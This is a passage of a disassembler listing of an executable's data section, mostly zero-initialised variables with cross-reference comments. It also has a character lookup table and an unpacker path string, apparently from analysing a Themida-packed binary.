					; sub_40DCE6+ADr
dword_43AC90	dd 0			; DATA XREF: sub_405AF2+115r
					; sub_4084B3+7Dr ...
dword_43AC94	dd 0			; DATA XREF: sub_40981F+72w
					; sub_40981F+D2r ...
dword_43AC98	dd 0			; DATA XREF: sub_40981F+95Fw
					; sub_40981F+9DBr ...
dword_43AC9C	dd 0			; DATA XREF: sub_40981F+388w
					; sub_40981F+3C9r ...
dword_43ACA0	dd 0			; DATA XREF: sub_40981F+83Bw
					; sub_40981F+88Er ...
dword_43ACA4	dd 0			; DATA XREF: sub_408C26+58r
					; sub_40981F+2A5w ...
dword_43ACA8	dd 0			; DATA XREF: sub_40981F+82Ew
					; sub_40981F+886r ...
dword_43ACAC	dd 0			; DATA XREF: sub_40981F+B3w
dword_43ACB0	dd 0			; DATA XREF: sub_40981F+848w
					; sub_40981F+896r ...
dword_43ACB4	dd 0			; DATA XREF: sub_407BDE+7Er
					; sub_40981F+52Fw ...
dword_43ACB8	dd 0			; DATA XREF: sub_40981F+58w
					; sub_40981F+CAr ...
dword_43ACBC	dd 0			; DATA XREF: sub_40981F+916w
					; sub_40AF86+11Ar
dword_43ACC0	dd 0			; DATA XREF: sub_40981F+A66w
					; sub_40981F+A6Dr ...
dword_43ACC4	dd 0			; DATA XREF: sub_40981F+A6w
					; sub_40981F+F2r
dword_43ACC8	dd 0			; DATA XREF: sub_4085B3+119r
					; sub_40981F+462w ...
dword_43ACCC	dd 0			; DATA XREF: sub_4075E6+20r
					; sub_40981F+5D8w
dword_43ACD0	dd 0			; DATA XREF: sub_40981F+9A0w
					; sub_40981F+A08r
dword_43ACD4	dd 0			; DATA XREF: sub_402688+280r
					; sub_40981F+5CBw ...
dword_43ACD8	dd 0			; DATA XREF: sub_402ACC+9Ar
					; sub_40981F+B21w
dword_43ACDC	dd 0			; DATA XREF: sub_40981F+7E0w
					; sub_40981F+84Fr ...
dword_43ACE0	dd 0			; DATA XREF: sub_40981F+1B3w
					; sub_40AC20+15r
dword_43ACE4	dd 0			; DATA XREF: sub_40981F+979w
					; sub_40981F+9F0r ...
dword_43ACE8	dd 0			; DATA XREF: sub_40981F+36Ew
					; sub_40981F+3B9r ...
dword_43ACEC	dd 0			; DATA XREF: sub_40981F+37Bw
					; sub_40981F+3C1r ...
dword_43ACF0	dd 0			; DATA XREF: sub_4087EE+28r
					; sub_4089E7+2Br ...
dword_43ACF4	dd 0			; DATA XREF: sub_40981F+68Ew
					; ___:00415550r
dword_43ACF8	dd 0			; DATA XREF: sub_4010B5:loc_4013E0r
					; sub_401A76:loc_401D1Cr ...
dword_43ACFC	dd 0			; DATA XREF: sub_4085B3+207r
					; sub_40981F+496w
dword_43AD00	dd 0			; DATA XREF: sub_40981F+9C7w
					; sub_40981F+A20r ...
dword_43AD04	dd 0			; DATA XREF: sub_40981F+2B2w
					; sub_40981F+2DEr ...
dword_43AD08	dd 0			; DATA XREF: sub_40981F+7Fw
					; sub_40981F+DAr ...
dword_43AD0C	dd 0			; DATA XREF: sub_40981F+B6Ew
					; sub_40981F+B75r ...
dword_43AD10	dd 0			; DATA XREF: sub_4010B5+2Fr
					; sub_401A76+2Fr ...
dword_43AD14	dd 0			; DATA XREF: sub_40981F+807w
					; sub_40981F+872r ...
dword_43AD18	dd 0			; DATA XREF: sub_40981F+986w
					; sub_40981F+9F8r
dword_43AD1C	dd 0			; DATA XREF: sub_40981F+BDFw
					; sub_40981F+C10r
dword_43AD20	dd 0			; DATA XREF: sub_4023A7+40r
					; sub_4023A7+63r ...
dword_43AD24	dd 0			; DATA XREF: sub_40981F+8FCw
					; sub_40981F+910r ...
dword_43AD28	dd 0			; DATA XREF: sub_40981F+BF9w
dword_43AD2C	dd 0			; DATA XREF: sub_4010B5:loc_4013AAr
					; sub_40144A+3Cr ...
dword_43AD30	dd 0			; DATA XREF: sub_40981F+821w
					; sub_40981F+855r
dword_43AD34	dd 0			; DATA XREF: sub_4023A7+50r
					; sub_4023A7+78r ...
dword_43AD38	dd 0			; DATA XREF: sub_4087EE+3Fr
					; sub_4087EE+69r ...
dword_43AD3C	dd 0			; DATA XREF: sub_40981F+65Aw
					; sub_40981F+786r ...
dword_43AD40	dd 0			; DATA XREF: sub_402DD7+20Ar
					; sub_4030E8+5Er ...
dword_43AD44	dd 0			; DATA XREF: sub_402688+16Er
					; sub_40981F+549w ...
dword_43AD48	dd 0			; DATA XREF: sub_40981F+8BDw
					; sub_40981F:loc_40A0FAw ...
dword_43AD4C	dd 0			; DATA XREF: sub_40981F+28Bw
					; sub_40981F+2C6r ...
dword_43AD50	dd 0			; DATA XREF: ___:00407DFEr
					; sub_40981F+681w ...
dword_43AD54	dd 0			; DATA XREF: sub_40981F+30Fw
					; sub_40981F+323r ...
dword_43AD58	dd 0			; DATA XREF: sub_40981F+395w
					; sub_40981F+3D1r ...
dword_43AD5C	dd 0			; DATA XREF: sub_40981F+BD2w
					; sub_40981F+C08r
dword_43AD60	dd 0			; DATA XREF: sub_40981F+7FAw
					; sub_40981F+86Ar ...
dword_43AD64	dd 0			; DATA XREF: sub_4023A7+FCr
					; sub_40981F+206w ...
dword_43AD68	dd 0			; DATA XREF: sub_40981F+18Cw
					; sub_40981F+1D2r ...
dword_43AD6C	dd 0			; DATA XREF: sub_40981F+814w
					; sub_40981F+87Ar ...
dword_43AD70	dd 0			; DATA XREF: sub_406C19+244r
					; sub_40981F+606w ...
dword_43AD74	dd 0			; DATA XREF: sub_408C26+18Ar
					; sub_40981F+2BFw ...
dword_43AD78	dd 0			; DATA XREF: sub_4010B5+6Fr
					; sub_40144A+AAr ...
dword_43AD7C	dd 0			; DATA XREF: sub_40981F+302w
					; sub_40981F+316r ...
dword_43AD80	dd 0			; DATA XREF: sub_405AF2+F9r
					; sub_406C19+1FCr ...
dword_43AD84	dd 0			; DATA XREF: sub_4085B3+16r
					; sub_40981F+42Ew ...
dword_43AD88	dd 0			; DATA XREF: sub_40981F+199w
					; sub_40981F+1DAr ...
dword_43AD8C	dd 0			; DATA XREF: sub_40981F+347w
					; sub_40981F+39Cr ...
dword_43AD90	dd 0			; DATA XREF: sub_40981F+A73w
dword_43AD94	dd 0			; DATA XREF: sub_4010B5+EBr
					; sub_4010B5+1F9r ...
dword_43AD98	dd 0			; DATA XREF: sub_4010B5+87r
					; sub_4010B5+9Dr ...
dword_43AD9C	dd 0			; DATA XREF: sub_40981F+4Bw
					; sub_40981F+C2r ...
dword_43ADA0	dd 0			; DATA XREF: sub_4085B3+2Cr
					; sub_4085B3+38r ...
dword_43ADA4	dd 0			; DATA XREF: sub_40981F+165w
					; sub_40981F+1BAr ...
dword_43ADA8	dd 0			; DATA XREF: sub_40981F+9E1w
					; sub_40E5EB+72r
dword_43ADAC	dd 0			; DATA XREF: sub_40981F+667w
					; sub_40981F+78Er
dword_43ADB0	dd 0			; DATA XREF: sub_402688+205r
					; sub_402DD7+23Br ...
dword_43ADB4	dd 0			; DATA XREF: sub_40981F+BECw
					; sub_40981F+C18r
dword_43ADB8	dd 0			; DATA XREF: sub_40981F+3Ew
					; sub_40981F+BAr ...
dword_43ADBC	dd 0			; DATA XREF: sub_40981F+298w
					; sub_40981F+2CEr ...
dword_43ADC0	dd 0			; DATA XREF: sub_405AF2+9Er
					; sub_407BDE+9Cr ...
dword_43ADC4	dd 0			; DATA XREF: sub_402688+EBr
					; sub_405AF2+89r ...
dword_43ADC8	dd 0			; DATA XREF: sub_40981F+C63w
					; sub_40EE72+4624r
dword_43ADCC	dd 0			; DATA XREF: sub_40981F+85Bw
					; sub_40BC4B+205r ...
dword_43ADD0	dd 0			; DATA XREF: sub_40981F+112w
dword_43ADD4	dd 0			; DATA XREF: sub_40981F+BB8w
					; sub_40981F+BF3r
dword_43ADD8	dd 0			; DATA XREF: sub_40144A+119r
					; sub_40144A+1A0r ...
dword_43ADDC	dd 0			; DATA XREF: sub_4085B3+BCr
					; sub_40981F+43Bw ...
dword_43ADE0	dd 0			; DATA XREF: sub_4085B3+FBr
					; sub_40981F+47Cw ...
dword_43ADE4	dd 0			; DATA XREF: sub_4085B3+65r
					; sub_40981F+448w ...
dword_43ADE8	dd 0			; DATA XREF: sub_402DD7+221r
					; sub_402DD7+249r ...
dword_43ADEC	dd 0			; DATA XREF: sub_40981F+1A6w
					; sub_40981F+1E2r ...
dword_43ADF0	dd 0			; DATA XREF: sub_40981F+9D4w
					; sub_40981F+A28r ...
dword_43ADF4	dd 0			; DATA XREF: sub_4087EE+53r
					; sub_4087EE+7Fr ...
dword_43ADF8	dd 0			; DATA XREF: sub_40981F+8Cw
					; sub_40981F+E2r ...
dword_43ADFC	dd 0			; DATA XREF: sub_4010B5+2C2r
					; sub_40144A+2DAr ...
dword_43AE00	dd 0			; DATA XREF: sub_40981F+B14w
					; sub_40981F+B30r
dword_43AE04	dd 0			; DATA XREF: sub_40981F+31Cw
					; sub_41511F+55r
dword_43AE08	dd 0			; DATA XREF: sub_408C26+3Fr
					; sub_40981F+27Ew ...
dword_43AE0C	dd 0			; DATA XREF: sub_40981F+B7Bw
dword_43AE10	dd 0			; DATA XREF: sub_40981F+ABDw
					; sub_40AE02+CEr
dword_43AE14	dd 0			; DATA XREF: sub_40981F+AB0w
					; sub_40981F+AB7r ...
dword_43AE18	dd 0			; DATA XREF: sub_40144A+2Er
					; sub_401D82+55r ...
dword_43AE1C	dd 0			; DATA XREF: ___:00407DEEr
					; sub_40981F+674w ...
dword_43AE20	dd 0			; DATA XREF: sub_40981F+BC5w
					; sub_40981F+C00r
dword_43AE24	dd 0			; DATA XREF: sub_402688+28Dr
					; sub_406C19+250r ...
dword_43AE28	dd 0			; DATA XREF: sub_40981F+993w
					; sub_40981F+A00r ...
dword_43AE2C	dd 0			; DATA XREF: sub_405AF2+13Ar
					; sub_407BDE+B3r ...
dword_43AE30	dd 0			; DATA XREF: sub_4010B5+324r
					; sub_40144A+2F0r ...
dword_43AE34	dd 0			; DATA XREF: sub_405AF2+B7r
					; sub_405AF2+39Fr ...
dword_43AE38	dd 0			; DATA XREF: sub_4029E9+B0r
					; sub_4029E9+C8r ...
dword_43AE3C	dd 0			; DATA XREF: sub_4010B5+4Fr
					; sub_401A76+4Fr ...
dword_43AE40	dd 0			; DATA XREF: sub_40981F+AFAw
					; sub_40981F+B1Br
dword_43AE44	dd 0			; DATA XREF: sub_40981F+31w
					; sub_40981F+ADr ...
dword_43AE48	dd 0			; DATA XREF: sub_4087EE+1ECr
					; sub_4089E7+232r ...
		align 10h
dword_43AE50	dd 0			; DATA XREF: sub_40981F+909w
					; sub_40981F+91Dr ...
dword_43AE54	dd 0			; DATA XREF: sub_40981F+99w
					; sub_40981F+EAr ...
dword_43AE58	dd 0			; DATA XREF: sub_40981F:loc_40991Dw
					; sub_40981F+12Bw ...
dword_43AE5C	dd 0			; DATA XREF: sub_40981F+126w
					; sub_40A4AC+1Cr
dword_43AE60	dd 0			; DATA XREF: sub_40981F:loc_409A0Dw
					; sub_40981F:loc_409A74w ...
dword_43AE64	dd 0			; DATA XREF: sub_40981F+250w
					; sub_40A4AC+50r
dword_43AE68	dd 0			; DATA XREF: sub_40981F:loc_409B09w
					; sub_40981F:loc_409B4Ew ...
dword_43AE6C	dd 0			; DATA XREF: sub_40981F+400w
					; sub_40A4AC+84r
dword_43AE70	dd 0			; DATA XREF: sub_40981F:loc_409D05w
					; sub_40A4AC:loc_40A55Cr
dword_43AE74	dd 0			; DATA XREF: sub_40981F+4E1w
					; sub_40A4AC+B8r
dword_43AE78	dd 0			; DATA XREF: sub_40981F:loc_409FD6w
					; sub_40A4AC:loc_40A590r
dword_43AE7C	dd 0			; DATA XREF: sub_40981F+7B2w
					; sub_40A4AC+ECr
dword_43AE80	dd 0			; DATA XREF: sub_40981F:loc_40A0C1w
					; sub_40981F+8D1w ...
dword_43AE84	dd 0			; DATA XREF: sub_40981F+8CCw
					; sub_40A4AC+120r
dword_43AE88	dd 0			; DATA XREF: sub_40981F:loc_40A155w
					; sub_40A4AC:loc_40A5F8r ...
dword_43AE8C	dd 0			; DATA XREF: sub_40981F+931w
					; sub_40A4AC+154r
dword_43AE90	dd 0			; DATA XREF: sub_40981F:loc_40A260w
					; sub_40A4AC:loc_40A62Cr ...
dword_43AE94	dd 0			; DATA XREF: sub_40981F+A3Cw
					; sub_40A4AC+188r
dword_43AE98	dd 0			; DATA XREF: sub_40981F:loc_40A2AAw
					; sub_40A4AC:loc_40A660r
dword_43AE9C	dd 0			; DATA XREF: sub_40981F+A86w
					; sub_40A4AC+1BCr
dword_43AEA0	dd 0			; DATA XREF: sub_40981F:loc_40A2F4w
					; sub_40A4AC:loc_40A694r
dword_43AEA4	dd 0			; DATA XREF: sub_40981F+AD0w
					; sub_40A4AC+1F0r
dword_43AEA8	dd 0			; DATA XREF: sub_40981F:loc_40A368w
					; sub_40A4AC:loc_40A6C8r
dword_43AEAC	dd 0			; DATA XREF: sub_40981F+B44w
					; sub_40A4AC+224r
dword_43AEB0	dd 0			; DATA XREF: sub_40981F:loc_40A3B2w
					; sub_40A4AC:loc_40A6FCr
dword_43AEB4	dd 0			; DATA XREF: sub_40981F+B8Ew
					; sub_40A4AC+258r
dword_43AEB8	dd 0			; DATA XREF: sub_40981F:loc_40A450w
					; sub_40A4AC:loc_40A730r
dword_43AEBC	dd 0			; DATA XREF: sub_40981F+C2Cw
					; sub_40A4AC+28Cr
dword_43AEC0	dd 0			; DATA XREF: sub_40981F:loc_40A49Aw
					; sub_40A4AC:loc_40A764r
dword_43AEC4	dd 0			; DATA XREF: sub_40981F+C76w
					; sub_40A4AC+2C0r
dword_43AEC8	dd 81h dup(0)		; DATA XREF: sub_40AA35+6Ao
dword_43B0CC	dd 5 dup(0)		; DATA XREF: sub_40AEE0+32o
dword_43B0E0	dd 0			; DATA XREF: sub_40B328:loc_40B349r
					; sub_40B417+54r ...
dword_43B0E4	dd 0			; DATA XREF: sub_40B328r
					; sub_40B417+37r ...
dword_43B0E8	dd 0			; DATA XREF: sub_40B358+1Ar
					; sub_40B56C+83o
dword_43B0EC	dd 0			; DATA XREF: sub_40B328:loc_40B33Cr
					; sub_40B56C+11Bw
dword_43B0F0	dd 0Dh dup(0)		; DATA XREF: sub_40B417+13o
					; sub_40B56C:loc_40B6A9o
dword_43B124	dd 0			; DATA XREF: sub_40B417+CDr
					; sub_40B417+ECr ...
		dd 0
dword_43B12C	dd 0Eh dup(0)		; DATA XREF: sub_40B721+47o
dword_43B164	dd 1000h dup(0)		; DATA XREF: sub_40BF6D+1Do
					; sub_40C00Do ...
dword_43F164	dd 0			; DATA XREF: sub_40BF6D+13o
					; sub_40C00D+Eo ...
dword_43F168	dd 0Eh dup(0)		; DATA XREF: sub_40D01A+Fo
dword_43F1A0	dd 2 dup(0)		; DATA XREF: sub_40D3A5+C8o
dword_43F1A8	dd 17h dup(0)		; DATA XREF: sub_40D835:loc_40D952o
					; sub_40D835+131o ...
dword_43F204	dd 80h dup(0)		; DATA XREF: sub_40E5EB+7Co
					; sub_40E5EB+A5o
dword_43F404	dd 0			; DATA XREF: sub_40DBB0+45w
					; sub_40DBB0+4Dr ...
dword_43F408	dd 17h dup(0)		; DATA XREF: sub_40E4B7:loc_40E5D9o
					; sub_40E4B7+12Do
dword_43F464	dd 80h dup(0)		; DATA XREF: sub_40DAF0+4Co
					; sub_40DAF0+7Eo ...
byte_43F664	db 0			; DATA XREF: sub_40DBB0+29r
					; sub_40DBB0+34w
		align 4
dword_43F668	dd 80h dup(0)		; DATA XREF: sub_40DE07+61o
					; sub_40DE07+89o ...
dword_43F868	dd 82h dup(0)		; DATA XREF: sub_40D719:loc_40D751o
					; sub_40D719+5Bo
dword_43FA70	dd 0			; DATA XREF: sub_40BE75+Ao
					; sub_40BE75+44r ...
		dd 5 dup(0)
dword_43FA88	dd 0			; DATA XREF: sub_40BE75+60r
					; sub_40EE72+BD6r
		dd 2D9h	dup(0)
dword_4405F0	dd 0			; DATA XREF: sub_407767+A8r
					; sub_40BE75+2Do ...
		dd 7Fh dup(0)
dword_4407F0	dd 0			; DATA XREF: sub_416D5C+41w
					; sub_416E97+40w ...
dword_4407F4	dd 0			; DATA XREF: sub_4060D0+23Bw
					; sub_407767:loc_4077AEr ...
dword_4407F8	dd 0			; DATA XREF: sub_40B56C+164w
					; sub_416810+AEw ...
dword_4407FC	dd 0			; DATA XREF: sub_402688+E0w
					; sub_405AF2+7Ew ...
dword_440800	dd 0			; DATA XREF: ___:00407E84w
					; ___:00407FA0r ...
dword_440804	dd 0			; DATA XREF: sub_4060D0+268w
					; sub_407252+122w ...
byte_440808	db 0			; DATA XREF: sub_40EB92+91o
					; sub_40EE72+3357r ...
		align 4
		dd 13D1h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:off_42A2D0o
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:0042CCA8o
		dd 10003h dup(0)
dword_49005C	dd 4F58h dup(0)		; DATA XREF: ___:off_427B6Co
		db 2 dup(0)
word_4A3DBE	dw 0			; DATA XREF: Themida_:0055108Ao
		dd 0A60Ch dup(0)
dword_4CD5F0	dd 0			; DATA XREF: sub_407110:loc_40717Er
					; ___:0040E6E3w ...
		align 8
dword_4CD5F8	dd 0			; DATA XREF: ___:loc_40EAA4o
dword_4CD5FC	dd 20h dup(0)		; DATA XREF: ___:0040EA3Co
					; ___:0040EAF5o ...
dword_4CD67C	dd 10h dup(0)		; DATA XREF: ___:0040EA53o
					; sub_40EE72+929o
dword_4CD6BC	dd 24h dup(0)		; DATA XREF: ___:0040EA6Ao
dword_4CD74C	dd 0			; DATA XREF: ___:0040EA5Ew
					; ___:0040EB0Cw ...
dword_4CD750	dd 0			; DATA XREF: ___:0040EA7Dw
		align 10h
dword_4CD760	dd 0			; DATA XREF: sub_40EB92+72r
					; sub_40EE72+273r
		align 8
byte_4CD768	db 0			; DATA XREF: sub_40ECFA+28r
					; sub_40ECFA+30o
		align 4
dword_4CD76C	dd 0			; DATA XREF: ___:0040EAA9w
					; ___:0040EAC0r ...
dword_4CD770	dd 0			; DATA XREF: ___:0040EA41w
					; sub_40EE72+8CAr
		dd 2 dup(0)
dword_4CD77C	dd 0			; DATA XREF: ___:004155C6r
		dd 0
dword_4CD784	dd 1Bh dup(0)		; DATA XREF: sub_415D6A+8Do
dword_4CD7F0	dd 0			; DATA XREF: sub_416FA4+16o
					; sub_416FC3+19o
dword_4CD7F4	dd 65h dup(0)		; DATA XREF: sub_416F57+3Do
byte_4CD988	db 0			; DATA XREF: sub_416C55+6Ar
					; sub_416C55+98w
		align 4
		dd 2 dup(0)
dword_4CD994	dd 0			; DATA XREF: sub_417D73+Aw
dword_4CD998	dd 0			; DATA XREF: sub_4186B1+5Er
					; sub_4186B1+A4w
		align 10h
word_4CD9A0	dw 0			; DATA XREF: sub_4186B1+55r
					; sub_4186B1+9Ao
word_4CD9A2	dw 0			; DATA XREF: sub_4186B1+48r
		db 2 dup(0)
word_4CD9A6	dw 0			; DATA XREF: sub_4186B1+3Br
word_4CD9A8	dw 0			; DATA XREF: sub_4186B1+2Er
word_4CD9AA	dw 0			; DATA XREF: sub_4186B1+21r
		align 10h
dword_4CD9B0	dd 0			; DATA XREF: sub_418B6E+3Br
					; sub_418B6E+91w
dword_4CD9B4	dd 0			; DATA XREF: sub_418833+1B9w
					; sub_418D0E:loc_418D8Aw ...
dword_4CD9B8	dd 0			; DATA XREF: sub_4197F9+35w
					; sub_41A6B7:loc_41A751w ...
dword_4CD9BC	dd 0			; DATA XREF: sub_41FEC6+13Ar
		dd 0A28h, 501h,	5, 1
dword_4CD9D0	dd 1			; DATA XREF: ___:loc_40E98Cr
					; ___:0041F2D1w
dword_4CD9D4	dd 2420B30h		; DATA XREF: ___:0040E995r
					; ___:0040E9B5r ...
		dd 0
dword_4CD9DC	dd 2420B58h		; DATA XREF: ___:0041F1CBw
					; sub_421DAE+9r ...
dword_4CD9E0	dd 0			; DATA XREF: sub_422492+36r
dword_4CD9E4	dd 0			; DATA XREF: sub_421DAE+16r
					; sub_42217C+4r ...
		dd 0
off_4CD9EC	dd offset aCM_unpackerPac ; DATA XREF: ___:0041F26Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4CD9F4	db 0			; DATA XREF: sub_419B07+2Dw
					; sub_41FAE7+5r
		align 4
dword_4CD9F8	dd 0			; DATA XREF: sub_419B07+27w
dword_4CD9FC	dd 0			; DATA XREF: sub_419B07+4r
					; sub_419B07+8Bw
dword_4CDA00	dd 0			; DATA XREF: ___:loc_41F199r
					; ___:loc_41F1DBr ...
		align 8
dword_4CDA08	dd 0			; DATA XREF: sub_419CDAr sub_41F84Cr ...
dword_4CDA0C	dd 0			; DATA XREF: sub_41A8A2+37r
		dd 0
dword_4CDA14	dd 0			; DATA XREF: sub_417B89r
					; sub_41944F:loc_41956Br ...
dword_4CDA18	dd 0			; DATA XREF: sub_41AB54r
dword_4CDA1C	dd 0			; DATA XREF: sub_41BA22+4Bw
					; sub_41BB3B+2Dw ...
dword_4CDA20	dd 0			; DATA XREF: sub_41C96D+11r
					; sub_41CA71+1Ar ...
byte_4CDA24	db 0			; DATA XREF: sub_41C96D+3r
					; sub_41C96D+98r ...
		align 4
dword_4CDA28	dd 0			; DATA XREF: sub_41CA71+11r
					; sub_41CB4F+21w ...
byte_4CDA2C	db 0			; DATA XREF: sub_41CB4F+51w
		align 10h
dword_4CDA30	dd 0			; DATA XREF: sub_41CD45+4Er
					; sub_41D120+3Ar ...
dword_4CDA34	dd 0			; DATA XREF: sub_41CD45+5Cr
					; sub_41D120+43r ...
dword_4CDA38	dd 0			; DATA XREF: sub_417FFA+7Ar
					; sub_41CEEC+5r
dword_4CDA3C	dd 0			; DATA XREF: sub_41D4FC+29r
dword_4CDA40	dd 2 dup(0)		; DATA XREF: sub_418790+Co
dword_4CDA48	dd 0			; DATA XREF: sub_419063+4r
					; sub_419063+6Er ...
		dd 3 dup(0)
dword_4CDA58	dd 0			; DATA XREF: sub_4199B9+61r
					; sub_4199B9+BFr ...
		align 10h
dword_4CDA60	dd 1			; DATA XREF: sub_41E709+28r
					; sub_41E709+4Cw ...
dword_4CDA64	dd 1			; DATA XREF: sub_41E92D:loc_41EAA8r
					; sub_41EAC6+4w ...
dword_4CDA68	dd 0			; DATA XREF: ___:0041EFE5r
					; ___:0041EFF1w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_41F257o
					; ___:off_4CD9ECo
		align 4
		dd 3Ah dup(0)
dword_4CDB70	dd 1			; DATA XREF: ___:0041F48Fr
					; ___:0041F4B0w ...
dword_4CDB74	dd 0			; DATA XREF: sub_41F84C+21r
dword_4CDB78	dd 0			; DATA XREF: sub_41A8A2:loc_41A8CBw
					; sub_41A96C+154w ...
dword_4CDB7C	dd 1			; DATA XREF: sub_41FB63+26r
					; sub_41FB63:loc_41FBCDw
dword_4CDB80	dd 0			; DATA XREF: sub_41A96C+7r
		align 8
word_4CDB88	dw 0			; DATA XREF: sub_42074B+1Ao
					; sub_42074B+46r
byte_4CDB8A	db 0			; DATA XREF: sub_42074B+39r
		align 4
dword_4CDB8C	dd 7 dup(0)		; DATA XREF: sub_42074B+52o
dword_4CDBA8	dd 0			; DATA XREF: sub_42074B+40w
					; sub_42074B+5Co
dword_4CDBAC	dd 0			; DATA XREF: sub_42074B+4Dw
dword_4CDBB0	dd 0			; DATA XREF: sub_42074B+31w
dword_4CDBB4	dd 0			; DATA XREF: sub_42074B+52w
dword_4CDBB8	dd 77C26E79h		; DATA XREF: sub_42086E:loc_420891r
					; sub_42086E+38r
		align 10h
dword_4CDBC0	dd 0			; DATA XREF: sub_42094E+11w
					; sub_42094E+63w ...
		align 8
dword_4CDBC8	dd 0			; DATA XREF: sub_42094E+33o
					; sub_42094E+46r
dword_4CDBCC	dd 10h dup(0)		; DATA XREF: sub_42094E+C1o
word_4CDC0C	dw 0			; DATA XREF: sub_420BAC+A8r
word_4CDC0E	dw 0			; DATA XREF: sub_42094E+54r
					; sub_420BAC+DBr ...
word_4CDC10	dw 0			; DATA XREF: sub_420BAC+CAr
word_4CDC12	dw 0			; DATA XREF: sub_420BAC+D3r
					; sub_420BAC:loc_420C9Er
word_4CDC14	dw 0			; DATA XREF: sub_420BAC+C0r
word_4CDC16	dw 0			; DATA XREF: sub_420BAC+B8r
word_4CDC18	dw 0			; DATA XREF: sub_420BAC+B0r
word_4CDC1A	dw 0			; DATA XREF: sub_420BAC+9Er
dword_4CDC1C	dd 0			; DATA XREF: sub_42094E+4Br
dword_4CDC20	dd 10h dup(0)		; DATA XREF: sub_42094E+FBo
word_4CDC60	dw 0			; DATA XREF: sub_420BAC+46r
word_4CDC62	dw 0			; DATA XREF: sub_42094E:loc_4209C5r
					; sub_420BAC+78r ...
word_4CDC64	dw 0			; DATA XREF: sub_420BAC+67r
word_4CDC66	dw 0			; DATA XREF: sub_420BAC+70r
					; sub_420BAC:loc_420C30r
word_4CDC68	dw 0			; DATA XREF: sub_420BAC+5Dr
word_4CDC6A	dw 0			; DATA XREF: sub_420BAC+55r
word_4CDC6C	dw 0			; DATA XREF: sub_420BAC+4Dr
word_4CDC6E	dw 0			; DATA XREF: sub_420BAC+3Er
dword_4CDC70	dd 0			; DATA XREF: sub_42094E+80r
dword_4CDC74	dd 0			; DATA XREF: sub_42094E+132r
					; sub_42094E:loc_420A9Ar ...
dword_4CDC78	dd 0			; DATA XREF: sub_420939r sub_420939+Ew
dword_4CDC7C	dd 0			; DATA XREF: sub_42105F+3r
					; sub_42105F+2Ew ...
dword_4CDC80	dd 0			; DATA XREF: sub_42105F+43w
					; sub_42105F:loc_4210AEr
dword_4CDC84	dd 0			; DATA XREF: sub_42105F+4Aw
					; sub_42105F+60r
dword_4CDC88	dd 0			; DATA XREF: sub_41FEC6+3Fr
dword_4CDC8C	dd 0			; DATA XREF: sub_421C3C:loc_421CA3r
					; sub_421C3C+6Do
dword_4CDC90	dd 0			; DATA XREF: sub_421C3C:loc_421C7Ar
					; sub_421C3C+44o
dword_4CDC94	dd 0			; DATA XREF: sub_421C3C:loc_421C6Dr
					; sub_421C3C+37o
dword_4CDC98	dd 0			; DATA XREF: sub_421C3C:loc_421C87r
					; sub_421C3C+51o
		align 10h
dword_4CDCA0	dd 0			; DATA XREF: sub_4221EA+28r
					; sub_4221EA+48w ...
dword_4CDCA4	dd 0			; DATA XREF: sub_422C78+28r
					; sub_422C78+4Cw ...
dword_4CDCA8	dd 0			; DATA XREF: sub_422F03+26r
					; sub_422F03:loc_422F6Dw
byte_4CDCAC	db 0			; DATA XREF: sub_40482Cr sub_40482C+9w
		align 10h
dword_4CDCB0	dd 2421140h		; DATA XREF: sub_41A835:loc_41A846r
					; sub_41AADC+14r ...
		align 10h
dword_4CDCC0	dd 400h	dup(0)		; DATA XREF: ___:off_436388o
					; ___:00436390o
dword_4CECC0	dd 200h			; DATA XREF: sub_41A835+9r
					; sub_41A835+56r ...
		dd 7 dup(0)
dword_4CECE0	dd 2420650h		; DATA XREF: sub_419D23+B1r
					; sub_41E248+75r ...
dword_4CECE4	dd 3Fh dup(0)		; DATA XREF: ___:0041F651o
dword_4CEDE0	dd 20h			; DATA XREF: sub_41A6B7+8r
					; sub_41E321+Cr ...
dword_4CEDE4	dd 4E4h			; DATA XREF: sub_41E92D+14r
					; sub_41E92D+65w ...
		align 10h
dword_4CEDF0	dd 3 dup(0)		; DATA XREF: sub_41E92D+123o
					; sub_41E92D+171o ...
dword_4CEDFC	dd 0			; DATA XREF: sub_41E92D+108w
					; sub_41E92D+15Dw ...
byte_4CEE00	db 0			; DATA XREF: sub_41EB6C:loc_41EC78w
					; sub_41EB6C:loc_41EC95w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4CEF00	db 0			; DATA XREF: sub_41E92D+5Co
					; sub_41E92D+AFo ...
byte_4CEF01	db 0			; DATA XREF: sub_4192B8+5Dr
					; sub_41E92D+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4CF004	dd 0			; DATA XREF: sub_41E92D+6Ew
					; sub_41E92D+12Bw ...
dword_4CF008	dd 0			; DATA XREF: sub_41B3E6+5r
					; sub_41B3E6+32w
dword_4CF00C	dd 0			; DATA XREF: sub_41ADB4+23Ar
					; sub_41ADB4+25Ar ...
dword_4CF010	dd 0			; DATA XREF: sub_41ADB4+311w
					; sub_41B0DD:loc_41B12Dr ...
dword_4CF014	dd 0			; DATA XREF: sub_41ADB4+22Dr
